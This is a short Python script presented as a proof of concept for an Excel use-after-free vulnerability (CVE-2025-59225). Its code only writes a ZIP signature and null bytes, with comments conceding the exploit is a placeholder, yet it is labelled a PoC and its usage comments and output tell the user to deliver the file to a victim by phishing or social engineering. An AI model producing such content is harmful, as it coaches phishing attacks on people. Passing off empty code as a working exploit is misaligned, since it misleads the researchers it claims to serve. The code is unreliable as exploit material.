The following code is for security research and authorized testing only.
python
# CVE-2025-59225 - Microsoft Office Excel Use After Free PoC
# This is a conceptual PoC demonstrating the UAF vulnerability trigger
# Note: Actual exploitation requires a specially crafted Excel file
import struct
import os
def create_malicious_excel():
"""
Create a minimal Excel file structure that may trigger UAF.
The actual exploit requires deep knowledge of Excel's internal
object lifecycle and memory management.
"""
# Excel files are essentially ZIP archives containing XML files
# The vulnerability likely exists in how Excel handles certain
# worksheet objects, embedded objects, or formula parsing
# Placeholder for actual exploit file generation
# Real PoC would involve crafting specific XML/BIFF structures
# that cause Excel to free an object while still holding references
excel_template = b'PK\x03\x04' # ZIP file signature
excel_template += b'\x00' * 26 # ZIP header fields
# In a real exploit, this would contain:
# 1. A crafted workbook.xml with malicious references
# 2. Embedded objects that trigger the UAF condition
# 3. Shellcode or ROP chain payload
return excel_template
# Usage:
# 1. Generate malicious Excel file
# 2. Deliver via phishing email or social engineering
# 3. Victim opens the file in Microsoft Excel
# 4. UAF triggers, leading to code execution
if __name__ == "__main__":
payload = create_malicious_excel()
print(f"[*] CVE-2025-59225 PoC generated ({len(payload)} bytes)")
print("[*] Deliver to victim and wait for them to open in Excel")